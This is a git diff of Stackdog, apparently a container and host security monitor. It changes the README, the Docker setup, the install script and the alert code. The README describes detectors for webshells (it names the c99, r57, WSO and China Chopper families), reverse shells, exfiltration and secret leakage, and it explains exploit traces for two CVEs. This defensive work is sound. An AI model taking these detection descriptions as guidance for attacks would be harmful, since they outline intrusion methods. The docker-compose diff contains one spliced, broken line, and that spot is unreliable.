https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash -s -- --version v0.3.1 ``` If your repository has no published stable release yet, use `--version` explicitly. @@ -61,7 +188,7 @@ If your repository has no published stable release yet, use `--version` explicit ```bash # Clone repository -git clone https://github.com/vsilent/stackdog +git clone https://github.com/trydirect/stackdog cd stackdog # Start the HTTP server (default) @@ -82,7 +209,8 @@ docker volume create stackdog-data docker run --rm -it \ --name stackdog \ - -p 5000:5000 \ + --network host \ + --cap-add=NET_ADMIN \ -e APP_HOST=0.0.0.0 \ -e APP_PORT=5000 \ -e DATABASE_URL=/data/stackdog.db \ @@ -91,6 +219,8 @@ docker run --rm -it \ trydirect/stackdog:latest ``` +> **Note:** `--network host` and `--cap-add=NET_ADMIN` are required for IP banning (iptables/nftables) to work. Without them, firewall rules from inside the container cannot affect host traffic. + Then open another shell and hit the API: ```bash @@ -126,7 +256,8 @@ docker build -f docker/backend/Dockerfile -t stackdog-local . docker run --rm -it \ --name stackdog-local \ - -p 5000:5000 \ + --network host \ + --cap-add=NET_ADMIN \ -e APP_HOST=0.0.0.0 \ -e APP_PORT=5000 \ -e DATABASE_URL=/data/stackdog.db \ @@ -150,10 +281,12 @@ This starts: The compose stack uses: -- `stackdog` service — builds `docker/backend/Dockerfile`, runs `stackdog serve`, and mounts `/var/run/docker.sock` +- `stackdog` service — builds `docker/backend/Dockerfile`, runs `stackdog serve`, mounts `/var/run/docker.sock`, uses `network_mode: host`, and adds `NET_ADMIN` capability for IP banning - `stackdog-ui` service — builds the React app and serves it with Nginx - `stackdog-data` volume — persists the SQLite database between restarts +> **Prerequisite for IP banning:** The `network_mode: host` and `cap_add: NET_ADMIN` settings are required so that `iptables`/`nftables` rules applied inside the container affect the host's network stack. Without them, IP ban firewall rules cannot reach host traffic. + To stop it: ```bash @@ -164,21 +297,29 @@ docker compose -f docker-compose.app.yml down ```bash # Discover and analyze logs (one-shot) -cargo run -- sniff --once +stackdog -- sniff --once # Continuous monitoring with AI analysis -cargo run -- sniff --ai-provider openai +stackdog -- sniff --ai-provider openai # Use Ollama (local LLM) STACKDOG_AI_API_URL=http://localhost:11434/v1 cargo run -- sniff # Consume mode: archive to zstd + purge originals -cargo run -- sniff --consume --output ./log-archive +stackdog -- sniff --consume --output ./log-archive # Add custom log sources -cargo run -- sniff --sources "/var/log/myapp.log,/opt/service/logs" +stackdog -- sniff --sources "/var/log/myapp.log,/opt/service/logs" ``` +The built-in sniff pipeline now includes Rust-native detectors for: + +- web attack indicators such as SQL injection probes, path traversal probes, login brute force, and webshell-style requests +- exfiltration-style indicators such as suspicious SMTP/attachment activity and large outbound transfer hints in logs +- reverse shell behavior, sensitive file access, cloud metadata / SSRF access, exfiltration chains, and secret leakage in logs +- Wazuh-inspired file integrity monitoring for explicit paths configured with `STACKDOG_FIM_PATHS=/etc/ssh/sshd_config,/app/.env` +- Wazuh-inspired configuration assessment via `STACKDOG_SCA_PATHS`, package inventory heuristics via `STACKDOG_PACKAGE_INVENTORY_PATHS`, Docker posture audits, and improved RFC3164/RFC5424 syslog parsing + ### Use as Library Add to your `Cargo.toml`: @@ -226,7 +367,7 @@ docker compose -f docker-compose.app.yml up --build ``` ┌─────────────────────────────────────────────────────────────────┐ -│ Stackdog Security Core │ +│ Stackdog Security Core │ ├─────────────────────────────────────────────────────────────────┤ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────────────────┐ │ │ │ Collectors │ │ ML/AI │ │ Response Engine │ │ @@ -236,12 +377,12 @@ docker compose -f docker-compose.app.yml up --build │ │ • Docker │ │ Detection │ │ • Auto-response │ │ │ │ Events │ │ • Scoring │ │ • Alerting │ │ │ └─────────────┘ └─────────────┘ └─────────────────────────┘ │ -│ ┌──────────────────────────────────────────────────────────────┐│ -│ │ Log Sniffing ││ -│ │ • Auto-discovery (system logs, Docker, custom paths) ││ -│ │ • AI summarization (OpenAI/Ollama/Candle) ││ -│ │ • zstd compression, dedup, log purge ││ -│ └──────────────────────────────────────────────────────────────┘│ +│ ┌───────────────────────────────────────────────────────────┐ │ +│ │ Log Sniffing │ │ +│ │ • Auto-discovery (system logs, Docker, custom paths) │ │ +│ │ • AI summarization (OpenAI/Ollama/Candle) │ │ +│ │ • zstd compression, dedup, log purge │ │ +│ └───────────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────┘ ``` @@ -361,6 +502,8 @@ manager.acknowledge_alert(&alert.id())?; **Notification Channels:** - Console (logging) - Slack webhooks +- Discord webhooks +- Telegram bot (alerts only) - Email (SMTP) - Generic webhooks @@ -426,6 +569,139 @@ curl -X POST http://localhost:5000/api/logs/sources \ curl http://localhost:5000/api/logs/summaries?source_id=myapp ``` +### 8. PHP Shell Detection + +Every sniff pass reads the PHP files in web roots and scores them for webshell +code: request input reaching `eval`/`system`/`assert`, `eval` of decoded data, +`preg_replace` with `/e`, request input called as a function, and markers of +known families (c99, r57, WSO, b374k, p0wny, China Chopper). One keyword never +flags a file — WordPress calls `base64_decode`, Composer calls `proc_open` — the +score does. PHP in an upload directory, and PHP hidden in an image there, add to +it. + +**Where it looks:** +- host paths in `STACKDOG_PHPSHELL_PATHS`; +- PHP containers, found on their own: by name or image + (`STACKDOG_PHPSHELL_CONTAINERS`), or by a mount at `/var/www`, `/srv`, `/app` + or `/usr/share/nginx/html`. Mounted docroots are read at their host source, + docroots baked into the image through the overlay `MergedDir`. + +Running in Docker, Stackdog reads both through a read-only mount of the host: + +```yaml +environment: + STACKDOG_HOST_ROOT: /host + STACKDOG_PHPSHELL_PATHS: /var/www +volumes: + - /:/host:ro +``` + +**What it does:** + +| Finding | When | Action | +|---|---|---| +| `php.shell-file` | a new or changed file scores as a shell | alert (a file names no attacker) | +| `web.php-shell-access` | any request to a flagged upload whose URL goes through `uploads/`; a request with parameters to a flagged file that is not a common entry point; a POST to PHP under an `uploads/` URL (`/images/`, `/files/`, `/tmp/` URLs never ban on their own) | alert + IP ban | +| `php.shell-request` | a plain visit to a flagged page such as `index.php` | alert only, never a ban — banning visitors of an infected page would ban its audience | + +Bans go through the same gate as every other ban: `STACKDOG_IP_BAN_ALLOWLIST`, +protected local addresses and the per-minute ceiling all apply. Stackdog never +deletes or moves the file; removing it is your call. + +Add signatures without a rebuild by pointing `STACKDOG_PHPSHELL_SIGNATURES` at +a JSON file: + +```json +[{"id": "acme-shell", "description": "ACME shell marker", + "pattern": "acme_shell_v\\d", "weight": "strong"}] +``` + +#### PHP2Shell exposure (CVE-2026-109618, CVE-2026-109619) + +PHP2Shell is unauthenticated remote code execution in the PHP interpreter. The +fix is upgrading PHP; Stackdog tells you where you still have to. + +| Finding | When | Action | +|---|---|---| +| `vuln.php2shell` | a PHP build older than 8.2.35, 8.3.36, 8.4.27 or 8.5.12, or any 8.1 and older | Critical alert for upstream builds (official `php` images, read from `PHP_VERSION`); Medium "check your vendor" alert for distribution packages, which backport fixes without changing the version number | +| `php.worker-crash` | 3 or more php-fpm or Apache workers dying on SIGSEGV, SIGBUS, SIGABRT or SIGILL in one log source within one pass; 1–2 per pass never alert, so one flaky extension stays quiet | alert; repeated crashes are what attempts against PHP memory bugs leave behind | +| `web.php2shell-attempt` | the exploit's out-of-memory step, with the client address: Apache `[client …] PHP Fatal error: Allowed memory size … in Unknown on line 0`; nginx `upstream sent unexpected FastCGI record … client: …, request: "POST …"` (php-fpm); or the public scanner's `php2shell-…` User-Agent | alert + an offense per line, so a client causing 5 within the ban window is banned in the pass that reads them | + +The version check reads `php8.x-common` (Debian, Ubuntu) and `php8x-common` or `php8x` (Alpine) +from the package database on the host and inside each running container, and +`PHP_VERSION` from container environments. RPM-based hosts are not covered. +The version and crash findings name no client, so they never ban. Turn the +version check off with `STACKDOG_PHP_VERSION_CHECK_ENABLED=false`. + +`web.php2shell-attempt` bans. Every known PHP2Shell variant pushes PHP past +`memory_limit` with a multipart POST; when that happens while PHP is still +parsing the request, the error says `in Unknown on line 0`. An application +running out of memory names its script and line instead, and is never an +attempt. The two log formats were reproduced against `php:8.3-apache` and +`php:8.3-fpm` behind nginx with a benign oversized form POST, not taken from +exploit traffic. Limits: + +- the exploit can succeed in a few requests, so a ban mostly stops repeats and + scanners, not a fast first attempt; +- the web server error log must be read: Docker container logs are, host logs + such as `/var/log/apache2/error.log` and `/var/log/nginx/error.log` go in + `STACKDOG_LOG_SOURCES`; +- behind a CDN or proxy, the error log must record the real client address; +- the same lines have rare innocent causes. A user posting a giant form to a + PHP with a very low `memory_limit` hits the Apache rule (at the default + 128M that takes a body over 128 MB, which `client_max_body_size` usually + stops first). A buggy extension crashing php-fpm on an upload hits the + nginx rule. Either way it takes 5 in 5 minutes from one address; +- the scanner User-Agent comes from one report (Fastly, via Brandefense). If + the scanner changes it, that rule goes quiet; the two out-of-memory rules + do not depend on it. + +Crash lines come from php-fpm and Apache error logs too; add host logs such as +`/var/log/php8.3-fpm.log`. Stackdog cannot patch PHP: upgrading is the fix. + +#### SSHole exposure (CVE-2026-123158) + +SSHole is an authentication bypass in OpenSSH on musl systems with PAM disabled +(Alpine's default server): an oversized password logs the attacker into accounts +whose password field is `*`, such as root. Fixed in OpenSSH 10.6p2. + +| Finding | When | Action | +|---|---|---| +| `vuln.sshole` | an `openssh-server` build older than 10.6p2 in the apk package database, on the host or in a running container | Critical alert naming the version; upgrade to 10.6p2 (`10.6_p2` on Alpine) and restart sshd. Never bans: a version names no attacker | +| `ssh.password-login` | a password login to a key-only account (root, alpine by default) | alert + an immediate ban on the first line (allowlists and protected addresses still apply). One login is already a foothold: waiting for five offenses would let the intruder switch the monitoring off | + +The version check reads apk databases only: musl is the affected half of the +configuration, and the PAM flavor (`openssh-server-pam`) and glibc +distributions are not affected by the CVE. The log half reads the auth and +syslog sources the brute-force bans come from — on Alpine, sshd logs to +`/var/log/messages`. Key-only accounts are `root` and `alpine`; add yours with +`STACKDOG_SSHOLE_KEYONLY_USERS`. Stackdog cannot patch OpenSSH: upgrading is +the fix. + +#### CVE watch (every new CVE, from the public feeds) + +The detectors above hardcode what they know. `vuln.cve-watch` asks the public +databases instead, so a CVE published tonight is checked on the next refresh +without a Stackdog release. Every package on the host and in running +containers is matched against [OSV](https://osv.dev) (Debian and Ubuntu +versions server-side; Alpine's without the `-rN` package revision), and the +results are cross-referenced with CISA's KEV catalog: known-exploited findings +are Critical, the rest carry the advisory's own severity label. + +| Finding | When | Action | +|---|---|---| +| `vuln.cve-watch` | a package version that OSV reports vulnerabilities for, newly matched since the last alert | alert once per package and CVE, KEV entries first. Never bans: a version names no attacker | + +Each package is re-queried at least every 24 hours, which is what catches +newly published CVEs; answers are cached in the database so a restart does not +re-query everything. Alerts are capped at 50 per pass, worst first. Honest +limits: a match says a fix is missing, not that a machine is exploitable — +distributions backport fixes, and configuration-dependent CVEs do not survive +being flattened into a version range, so treat findings as "check your +vendor's advisory". Very fresh CVEs may not be in the feeds yet; the +specialized detectors above cover the ones we know in detail. +`STACKDOG_CVE_WATCH_ENABLED=false` turns it off. + --- ## 📦 Installation @@ -457,7 +733,7 @@ dnf install sqlite-devel openssl-devel clang llvm ### Build from Source ```bash -git clone https://github.com/vsilent/stackdog +git clone https://github.com/trydirect/stackdog cd stackdog cargo build --release ``` @@ -608,9 +884,9 @@ stackdog/ ```bash # 1. Clone and setup -git clone https://github.com/vsilent/stackdog +git clone https://github.com/trydirect/stackdog cd stackdog -cp .env.sample .env +cp .env.sample .env # or run `stackdog init` once built # 2. Build cargo build @@ -639,6 +915,14 @@ bpftool version uname -r # Should be 4.19+ ``` +### Where the config lives + +`stackdog` reads settings from three places, nearest first: real environment +variables, then `.env` in the working directory, then `~/.config/stackdog/.env` +(`$XDG_CONFIG_HOME/stackdog/.env` when set). Every setting has a default, so +the app runs with no config at all. `stackdog init` writes a starter file to +the config directory and never overwrites an existing one. + --- ## 🤝 Contributing @@ -723,7 +1007,6 @@ copies of the Software... ### Inspired By -- [Portainer](https://github.com/portainer/portainer) - Docker management UI - [Falco](https://github.com/falcosecurity/falco) - Cloud-native runtime security - [Sysdig](https://github.com/draios/sysdig) - System visibility @@ -741,12 +1024,11 @@ copies of the Software... - **Project Lead:** Vasili Pascal - **Email:** info@try.direct -- **Twitter:** [@VasiliiPascal](https://twitter.com/VasiliiPascal) -- **Gitter:** [stackdog/community](https://gitter.im/stackdog/community) -- **GitHub:** [vsilent/stackdog](https://github.com/vsilent/stackdog) +- **X:** [@VasiliiPascal](https://twitter.com/VasiliiPascal) +- **GitHub:** [trydirect/stackdog](https://github.com/trydirect/stackdog) ---

-🐕 Built with ❤️ using Rust +Built with ❤️ using Rust

diff --git a/STATUS.md b/STATUS.md index 79fbc26..9d8f7f5 100644 --- a/STATUS.md +++ b/STATUS.md @@ -347,7 +347,7 @@ All Phase 1 tasks are now complete. The foundation for Stackdog Security is read - **Project Lead:** Vasili Pascal - **Email:** info@try.direct -- **GitHub:** https://github.com/vsilent/stackdog +- **GitHub:** https://github.com/trydirect/stackdog - **Gitter:** https://gitter.im/stackdog/community --- diff --git a/VERSION.md b/VERSION.md index 0c62199..9e11b32 100644 --- a/VERSION.md +++ b/VERSION.md @@ -1 +1 @@ -0.2.1 +0.3.1 diff --git a/build.rs b/build.rs new file mode 100644 index 0000000..6c11e2e --- /dev/null +++ b/build.rs @@ -0,0 +1,20 @@ +use std::process::Command; + +fn main() { + // Allow CI (or any build environment) to inject the hash directly. + // Falls back to running `git rev-parse --short HEAD` locally. + let hash = std::env::var("STACKDOG_GIT_HASH").unwrap_or_else(|_| { + Command::new("git") + .args(["rev-parse", "--short", "HEAD"]) + .output() + .ok() + .filter(|o| o.status.success()) + .and_then(|o| String::from_utf8(o.stdout).ok()) + .map(|s| s.trim().to_string()) + .unwrap_or_else(|| "unknown".to_string()) + }); + + println!("cargo:rustc-env=STACKDOG_GIT_HASH={hash}"); + println!("cargo:rerun-if-changed=.git/HEAD"); + println!("cargo:rerun-if-changed=.git/refs/heads/"); +} diff --git a/docker-compose.app.yml b/docker-compose.app.yml index 18b917f..9d58a44 100644 --- a/docker-compose.app.yml +++ b/docker-compose.app.yml @@ -5,12 +5,52 @@ services: dockerfile: docker/backend/Dockerfile command: ["serve"] container_name: stackdog + network_mode: host + cap_add: + - NET_ADMIN + restart: unless-stopped + labels: + # Keeps Stackdog from reading its own logs and reporting its own errors + # as findings. + com.trydirect.stackdog.ignore: "true" environment: APP_HOST: 0.0.0.0 APP_PORT: 5000 DATABASE_URL: /data/stackdog.db - ports: - - "5000:5000" + + # Dashboard base URL, so notifications can link to the alert that fired. + # Must be the address a browser can reach, not "localhost", when the + # dashboard is opened from another machine. + STACKDOG_UI_URL: ${STACKDOG_UI_URL:-http://localhost:3000} + + # Log sniffing + STACKDOG_SNIFF_INTERVAL: ${STACKDOG_SNIFF_INTERVAL:-30} + STACKDOG_LOG_SOURCES: ${STACKDOG_LOG_SOURCES:-/var/log/syslog,/var/log/auth.log} + + # AI analysis. Leave the key empty to fall back to the local pattern + # analyzer instead of calling out. + STACKDOG_AI_PROVIDER: ${STACKDOG_AI_PROVIDER:-openai} + STACKDOG_AI_API_URL: ${STACKDOG_AI_API_URL:-https://api.openai.com/v1} + STACKDOG_AI_MODEL: ${STACKDOG_AI_MODEL:-gpt-4o-mini} + STACKDOG_AI_API_KEY: ${STACKDOG_AI_API_KEY:-} + + # Alert delivery + STACKDOG_SLACK_WEBHOOK_URL: ${STACKDOG_SLACK_WEBHOOK_URL:-} + STACKDOG_NOTIFICATION_LABEL: ${STACKDOG_NOTIFICATION_LABEL:-} + STACKDOG_NOTIFICATION_MIN_SEVERITY: ${STACKDOG_NOTIFICATION_MIN_SEVERITY:-info} + # Standing misconfigurations are re-detected every pass; without a window + # they alert all day. 6h. + STACKDOG_ALERT_DEDUP_WINDOW_SECS: ${STACKDOG_ALERT_DEDUP_WINDOW_SECS:-21600} + + # IP banning. Put load balancers and health checkers in the allowlist: + # banning them takes the service down. Public-facing proxies belong in + # TRUSTED_PROXY_RANGES too, so the real client is banned instead of the + # proxy itself. + STACKDOG_IP_BAN_ALLOWLIST: ${STACKDOG_IP_BAN_ALLOWLIST:-} + STACKDOG_TRUSTED_PROXY_RANGES: ${STACKDOG_TRUSTED_PROXY_RANGES:-10.0.0.0/8,172.16.0.0/12,192.168.0.0/16} + + # Containers skipped during Docker posture checks + STACKDOG_TRUSTED_CONTAINERS: ${STACKDOG_TRUSTED_CONTAINERS:-} volumes: - stackdog-data:/data - /var/run/docker.sock:/var/run/docker.sock @@ -19,14 +59,23 @@ services: build: context: . dockerfile: docker/ui/Dockerfile - args: - REACT_APP_API_URL: http://localhost:5000/api - REACT_APP_WS_URL: ws://localhost:5000/ws + image: trydirect/stackdog-ui:latest container_name: stackdog-ui + environment: + # Read at container start, not compiled in: change the host and restart, + # no rebuild. These are resolved by the browser, so "localhost" only + # works when the dashboard is opened on this machine. + # Empty values make the dashboard use the host it was opened from. + # Set STACKDOG_API_URL/STACKDOG_WS_URL for a separately hosted API. + STACKDOG_API_URL: ${STACKDOG_API_URL:-} + STACKDOG_WS_URL: ${STACKDOG_WS_URL:-} depends_on: - stackdog + restart: unless-stopped + labels: + com.trydirect.stackdog.ignore: "true" ports: - - "3000:80" + - "${STACKDOG_UI_PORT:-3000}:80" volumes: stackdog-data: diff --git a/docker-compose.yml b/docker-compose.yml index 34a821b..44083c8 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,76 +1,57 @@ -version: '3.8' - -volumes: - db_data: - driver: local - services: stackdog: - container_name: stackdog - build: - context: . - dockerfile: docker/local/Dockerfile - target: development - entrypoint: ["/bin/sh", "-c"] - command: - - | - echo "Waiting for dependencies..." - sleep 5 - echo "Starting Stackdog..." - cargo run --bin stackdog - ports: - - "${APP_PORT:-5000}:${APP_PORT:-5000}" - env_file: - - .env + image: trydirect/stackdog:latest + network_mode: host + cap_add: + - NET_ADMIN + labels: + # Keeps Stackdog from reading its own logs and reporting its own errors + # as findings. More reliable than inferring the container ID from /proc. + com.trydirect.stackdog.ignore: "true" environment: - - RUST_LOG=debug - - RUST_BACKTRACE=full + APP_HOST: 0.0.0.0 + APP_PORT: 5000 + DATABASE_URL: /data/stackdog.db + STACKDOG_SNIFF_INTERVAL: 30 + STACKDOG_AI_PROVIDER: openai + STACKDOG_AI_API_URL: https://api.openai.com/v1 + STACKDOG_AI_MODEL: gpt-4o-mini + STACKDOG_AI_API_KEY: + STACKDOG_SLACK_WEBHOOK_URL: "$CONFIG_PATH" <} WS_URL=${WS_URL:-} API_PORT=${API_PORT}" + +exec "$@" diff --git a/docker/ui/nginx.conf b/docker/ui/nginx.conf index 3aa17e6..7bf2186 100644 --- a/docker/ui/nginx.conf +++ b/docker/ui/nginx.conf @@ -5,6 +5,11 @@ server { root /usr/share/nginx/html; index index.html; + # Regenerated on every container start, so it must never be cached. + location = /config.js { + add_header Cache-Control "no-store"; + } + location / { try_files $uri $uri/ /index.html; } diff --git a/docs/INDEX.md b/docs/INDEX.md index 86c7fed..cc6a8d0 100644 --- a/docs/INDEX.md +++ b/docs/INDEX.md @@ -1,7 +1,7 @@ # Stackdog Security - Documentation Index -**Version:** 0.2.0 -**Last Updated:** 2026-03-13 +**Version:** 0.3.1 +**Last Updated:** 2026-04-07 --- @@ -48,7 +48,7 @@ This document provides an index of all Stackdog Security documentation. | Document | Purpose | For | |----------|---------|-----| | [BUGS.md](../BUGS.md) | Bug tracking & reporting | Users/Dev | -| [GitHub Issues](https://github.com/vsilent/stackdog/issues) | Issue tracker | Everyone | +| [GitHub Issues](https://github.com/trydirect/stackdog/issues) | Issue tracker | Everyone | | [Gitter](https://gitter.im/stackdog/community) | Community chat | Everyone | --- @@ -153,7 +153,7 @@ This document provides an index of all Stackdog Security documentation. ## 📞 Need Help? 1. **Check documentation** - Start with this index -2. **Search issues** - https://github.com/vsilent/stackdog/issues +2. **Search issues** - https://github.com/trydirect/stackdog/issues 3. **Ask on Gitter** - https://gitter.im/stackdog/community 4. **Create issue** - If documentation is missing diff --git a/docs/QUICKSTART.md b/docs/QUICKSTART.md index 30f267c..4489fde 100644 --- a/docs/QUICKSTART.md +++ b/docs/QUICKSTART.md @@ -308,7 +308,7 @@ cargo test ## Getting Help -- **GitHub Issues:** https://github.com/vsilent/stackdog/issues +- **GitHub Issues:** https://github.com/trydirect/stackdog/issues - **Gitter:** https://gitter.im/stackdog/community - **Email:** info@try.direct diff --git a/install.sh b/install.sh index 514bef4..39f1422 100755 --- a/install.sh +++ b/install.sh @@ -2,15 +2,15 @@ # Stackdog Security — install script # # Usage: -# curl -fsSL https://raw.githubusercontent.com/vsilent/stackdog/main/install.sh | sudo bash -# curl -fsSL https://raw.githubusercontent.com/vsilent/stackdog/main/install.sh | sudo bash -s -- --version v0.2.0 +# curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash +# curl -fsSL https://raw.githubusercontent.com/trydirect/stackdog/main/install.sh | sudo bash -s -- --version v0.3.1 # # Installs the stackdog binary to /usr/local/bin. # Requires: curl, tar, sha256sum (or shasum), Linux x86_64 or aarch64. set -eu -REPO="vsilent/stackdog" +REPO="trydirect/stackdog" INSTALL_DIR="/usr/local/bin" BINARY_NAME="stackdog" @@ -73,7 +73,7 @@ resolve_version() { fi if [ -z "$TAG" ]; then - error "Could not determine latest release. Create a GitHub release, or specify one with --version (e.g. --version v0.2.0)." + error "Could not determine latest release. Create a GitHub release, or specify one with --version (e.g. --version v0.3.1)." fi VERSION="$(echo "$TAG" | sed 's/^v//')" @@ -136,7 +136,7 @@ main() { echo "Install stackdog binary to ${INSTALL_DIR}." echo "" echo "Options:" - echo " --version VERSION Install a specific version (e.g. v0.2.0)" + echo " --version VERSION Install a specific version (e.g. v0.3.1)" echo " --help Show this help" exit 0 ;; @@ -155,6 +155,11 @@ main() { echo "" echo " Run: stackdog --help" echo "" + echo " Prerequisites for IP banning (optional):" + echo " - nftables or iptables must be installed" + echo " - The binary requires root or CAP_NET_ADMIN to manage firewall rules" + echo " - See https://stackdog.app/docs for full setup guide" + echo "" } main "$@" diff --git a/src/alerting/alert.rs b/src/alerting/alert.rs index 311211a..cb2a5ac 100644 --- a/src/alerting/alert.rs +++ b/src/alerting/alert.rs @@ -152,6 +152,15 @@ impl Alert { } /// Get alert ID + /// Keep an existing identity instead of the generated one. + /// + /// Used when replaying a stored alert through the notification channels: a + /// fresh id would make the link in the message point at nothing. + pub fn with_id(mut self, id: String) -> Self { + self.id = id; + self + } + pub fn id(&self) -> &str { &self.id } diff --git a/src/alerting/dedup.rs b/src/alerting/dedup.rs index 9724f4d..ffe9dfe 100644 --- a/src/alerting/dedup.rs +++ b/src/alerting/dedup.rs @@ -160,6 +160,35 @@ impl AlertDeduplicator { false } + /// Check if a raw key is duplicate (bypasses Alert fingerprinting). + /// Useful when the caller wants to dedup on a subset of alert fields. + pub fn is_duplicate_key(&mut self, key: &str) -> bool { + if !self.config.enabled { + return false; + } + + let fingerprint = Fingerprint::new(key.to_string()); + let now = Utc::now(); + + if let Some(entry) = self.fingerprints.get(&fingerprint) { + let elapsed = now - entry.last_seen; + if elapsed.num_seconds() as u64 <= self.config.window_seconds { + return true; + } + } + + self.fingerprints.insert( + fingerprint, + FingerprintEntry { + first_seen: now, + last_seen: now, + count: 1, + }, + ); + + false + } + /// Check alert and return result with count pub fn check(&mut self, alert: &Alert) -> DedupResult { self.stats.total_checked += 1; diff --git a/src/alerting/notifications.rs b/src/alerting/notifications.rs index ce2ae56..b9eb75e 100644 --- a/src/alerting/notifications.rs +++ b/src/alerting/notifications.rs @@ -6,19 +6,77 @@ use anyhow::{Context, Result}; use lettre::message::{Mailbox, MultiPart, SinglePart}; use lettre::transport::smtp::authentication::Credentials; use lettre::{AsyncSmtpTransport, AsyncTransport, Message, Tokio1Executor}; +use std::env; use crate::alerting::alert::{Alert, AlertSeverity}; +/// Display name used on Slack messages unless overridden +const DEFAULT_SLACK_USERNAME: &str = "Stackdog"; + +/// Avatar used on Slack messages unless overridden +const DEFAULT_SLACK_ICON_URL: &str = "https://stackdog.app/stackdog-mark.png"; + +/// Avatar used when the primary icon host is unreachable +const FALLBACK_SLACK_ICON_URL: &str = + "https://raw.githubusercontent.com/trydirect/stackdog/main/website/public/stackdog-mark.png"; + +/// Cached result of the icon-host probe, resolved once per process +static RESOLVED_SLACK_ICON_URL: tokio::sync::OnceCell<&'static str> = + tokio::sync::OnceCell::const_new(); + +/// Pick the default avatar, falling back to the GitHub copy when the primary +/// host does not answer. +/// +/// The probe runs from this host rather than from Slack's fetchers, so it is a +/// proxy for reachability, not a guarantee. It runs at most once per process. +async fn resolve_default_slack_icon_url() -> &'static str { + *RESOLVED_SLACK_ICON_URL + .get_or_init(|| async { + let reachable = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(3)) + .build() + .map(|client| client.head(DEFAULT_SLACK_ICON_URL).send()) + .ok(); + + match reachable { + Some(request) => match request.await { + Ok(resp) if resp.status().is_success() => DEFAULT_SLACK_ICON_URL, + Ok(resp) => { + log::debug!( + "Slack icon host returned {}, using fallback avatar", + resp.status() + ); + FALLBACK_SLACK_ICON_URL + } + Err(e) => { + log::debug!("Slack icon host unreachable ({e}), using fallback avatar"); + FALLBACK_SLACK_ICON_URL + } + }, + None => FALLBACK_SLACK_ICON_URL, + } + }) + .await +} + /// Notification configuration -#[derive(Debug, Clone, Default)] +#[derive(Debug, Clone)] pub struct NotificationConfig { slack_webhook: Option, + discord_webhook: Option, + telegram_bot_token: Option, + telegram_chat_id: Option, + ui_url: Option, + slack_username: Option, + slack_icon_url: Option, smtp_host: Option, smtp_port: Option, smtp_user: Option, smtp_password: Option, webhook_url: Option, email_recipients: Vec, + notification_label: Option, + minimum_severity: AlertSeverity, } impl NotificationConfig { @@ -26,12 +84,61 @@ impl NotificationConfig { pub fn new() -> Self { Self { slack_webhook: None, + discord_webhook: None, + telegram_bot_token: None, + telegram_chat_id: None, + ui_url: None, + slack_username: None, + slack_icon_url: None, smtp_host: None, smtp_port: None, smtp_user: None, smtp_password: None, webhook_url: None, email_recipients: Vec::new(), + notification_label: None, + minimum_severity: AlertSeverity::Info, + } + } + + /// Build notification config from environment variables. + pub fn from_env() -> Self { + Self { + slack_webhook: env::var("STACKDOG_SLACK_WEBHOOK_URL").ok(), + discord_webhook: env::var("STACKDOG_DISCORD_WEBHOOK_URL").ok(), + telegram_bot_token: env::var("STACKDOG_TELEGRAM_BOT_TOKEN").ok(), + telegram_chat_id: env::var("STACKDOG_TELEGRAM_CHAT_ID").ok(), + ui_url: env::var("STACKDOG_UI_URL") + .ok() + .map(|url| url.trim().to_string()) + .filter(|url| !url.is_empty()), + slack_username: env::var("STACKDOG_SLACK_USERNAME").ok(), + slack_icon_url: env::var("STACKDOG_SLACK_ICON_URL").ok(), + smtp_host: env::var("STACKDOG_SMTP_HOST").ok(), + smtp_port: env::var("STACKDOG_SMTP_PORT") + .ok() + .and_then(|value| value.parse().ok()), + smtp_user: env::var("STACKDOG_SMTP_USER").ok(), + smtp_password: env::var("STACKDOG_SMTP_PASSWORD").ok(), + webhook_url: env::var("STACKDOG_WEBHOOK_URL").ok(), + email_recipients: env::var("STACKDOG_EMAIL_RECIPIENTS") + .ok() + .map(|recipients| { + recipients + .split(',') + .map(|recipient| recipient.trim().to_string()) + .filter(|recipient| !recipient.is_empty()) + .collect() + }) + .unwrap_or_default(), + notification_label: env::var("STACKDOG_NOTIFICATION_LABEL") + .ok() + .filter(|label| !label.trim().is_empty()) + .or_else(detect_hostname), + minimum_severity: env::var("STACKDOG_NOTIFICATION_MIN_SEVERITY") + .ok() + .and_then(|value| parse_alert_severity(&value)) + .unwrap_or(AlertSeverity::Info), } } @@ -41,6 +148,43 @@ impl NotificationConfig { self } + /// Set Discord webhook + pub fn with_discord_webhook(mut self, url: String) -> Self { + self.discord_webhook = Some(url); + self + } + + /// Set Telegram bot credentials; alerts need both a token and a chat + pub fn with_telegram(mut self, bot_token: String, chat_id: String) -> Self { + self.telegram_bot_token = Some(bot_token); + self.telegram_chat_id = Some(chat_id); + self + } + + /// Set the dashboard base URL used to build links back to an alert + pub fn with_ui_url(mut self, url: String) -> Self { + self.ui_url = Some(url); + self + } + + /// Link to an alert in the dashboard, when a base URL is configured + pub fn alert_url(&self, alert_id: &str) -> Option { + let base = self.ui_url.as_deref()?.trim_end_matches('/'); + Some(format!("{base}/#alerts/{alert_id}")) + } + + /// Set the display name shown on Slack messages + pub fn with_slack_username(mut self, username: String) -> Self { + self.slack_username = Some(username); + self + } + + /// Set the avatar image used on Slack messages + pub fn with_slack_icon_url(mut self, url: String) -> Self { + self.slack_icon_url = Some(url); + self + } + /// Set SMTP host pub fn with_smtp_host(mut self, host: String) -> Self { self.smtp_host = Some(host); @@ -77,11 +221,61 @@ impl NotificationConfig { self } + /// Set notification label + pub fn with_notification_label(mut self, label: String) -> Self { + self.notification_label = Some(label); + self + } + + /// Set minimum severity for non-action notifications + pub fn with_minimum_severity(mut self, severity: AlertSeverity) -> Self { + self.minimum_severity = severity; + self + } + /// Get Slack webhook pub fn slack_webhook(&self) -> Option<&str> { self.slack_webhook.as_deref() } + /// Get Discord webhook + pub fn discord_webhook(&self) -> Option<&str> { + self.discord_webhook.as_deref() + } + + /// Get Telegram bot token + pub fn telegram_bot_token(&self) -> Option<&str> { + self.telegram_bot_token.as_deref() + } + + /// Get Telegram chat id + pub fn telegram_chat_id(&self) -> Option<&str> { + self.telegram_chat_id.as_deref() + } + + /// Get the Slack display name, falling back to the Stackdog default + pub fn slack_username(&self) -> &str { + self.slack_username + .as_deref() + .unwrap_or(DEFAULT_SLACK_USERNAME) + } + + /// Get the Slack avatar URL, falling back to the Stackdog mark + pub fn slack_icon_url(&self) -> &str { 